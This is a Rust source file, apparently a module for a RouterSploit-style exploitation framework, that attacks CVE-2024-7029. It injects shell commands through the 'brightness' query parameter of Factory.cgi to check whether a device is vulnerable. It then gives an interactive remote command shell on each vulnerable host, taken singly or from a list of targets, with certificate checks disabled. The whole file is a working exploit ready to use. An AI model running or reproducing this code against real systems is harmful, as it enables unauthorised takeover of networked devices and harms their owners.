use anyhow::Result;
use reqwest::Client;
use std::io::{self, Write};
use std::path::Path;
use std::time::Duration;
use tokio::io::{AsyncBufReadExt, BufReader};

/// // Ensures the target string has a scheme (http://) and includes port
fn normalize_url(ip: &str, port: &str) -> String {
    let with_scheme = if ip.starts_with("http://") || ip.starts_with("https://") {
        ip.to_string()
    } else {
        format!("http://{}", ip)
    };

    let port = port.trim();
    if port.is_empty() {
        with_scheme
    } else if with_scheme.contains(':') {
        with_scheme // already has port
    } else {
        format!("{}:{}", with_scheme, port)
    }
}

/// // Check if the device is vulnerable to CVE-2024-7029
async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
    let mut url = reqwest::Url::parse(base)?;
    url.set_path("/cgi-bin/supervisor/Factory.cgi");
    url.query_pairs_mut()
        .append_pair("action", "Set")
        .append_pair("brightness", "1;echo_CVE7029;");
    let resp = client.get(url).send().await?;
    let body = resp.text().await?;
    Ok(body.contains("echo_CVE7029"))
}

/// // Interactive shell to send arbitrary commands
async fn interactive_shell(client: &Client, base: &str) -> Result<()> {
    let stdin = tokio::io::stdin();
    let mut lines = BufReader::new(stdin).lines();

    loop {
        print!("cve7029-shell> ");
        io::stdout().flush()?;
        if let Some(cmd) = lines.next_line().await? {
            let cmd = cmd.trim();
            if cmd.eq_ignore_ascii_case("exit") {
                break;
            }
            match exec_cmd(client, base, cmd).await {
                Ok(out) => println!("{}", out),
                Err(e) => eprintln!("Error: {}", e),
            }
        } else {
            break;
        }
    }
    Ok(())
}

/// // Execute a remote command by abusing the brightness parameter
async fn exec_cmd(client: &Client, base: &str, cmd: &str) -> Result<String> {
    let mut url = reqwest::Url::parse(base)?;
    url.set_path("/cgi-bin/supervisor/Factory.cgi");
    let payload = format!("1;{};", cmd);
    url.query_pairs_mut()
        .append_pair("action", "Set")
        .append_pair("brightness", &payload);
    let response = client.get(url).send().await?;
    Ok(response.text().await?)
}

/// // Prompt user for a custom port number
fn prompt_port() -> Result<String> {
    print!("Enter port to use [default: 80]: ");
    io::stdout().flush()?;
    let mut port = String::new();
    io::stdin().read_line(&mut port)?;
    let port = port.trim();
    Ok(if port.is_empty() { "80".to_string() } else { port.to_string() })
}

/// // Entry point required for RouterSploit-inspired dispatch system
pub async fn run(target: &str) -> Result<()> {
    let port = prompt_port()?;
    let client = Client::builder()
        .danger_accept_invalid_certs(true)
        .timeout(Duration::from_secs(5))
        .build()?;

    // // Handle either single IP or file of targets
    let targets = if Path::new(target).exists() {
        tokio::fs::read_to_string(target)
            .await?
            .lines()
            .map(str::to_string)
            .collect::<Vec<_>>()
    } else {
        vec![target.to_string()]
    };

    for raw_ip in &targets {
        let url = normalize_url(raw_ip, &port);
        if check_vuln(&client, &url).await? {
            println!("[+] {} is vulnerable!", url);
            interactive_shell(&client, &url).await?;
        } else {
            println!("[-] {} is not vulnerable", url);
        }
    }

    Ok(())
}
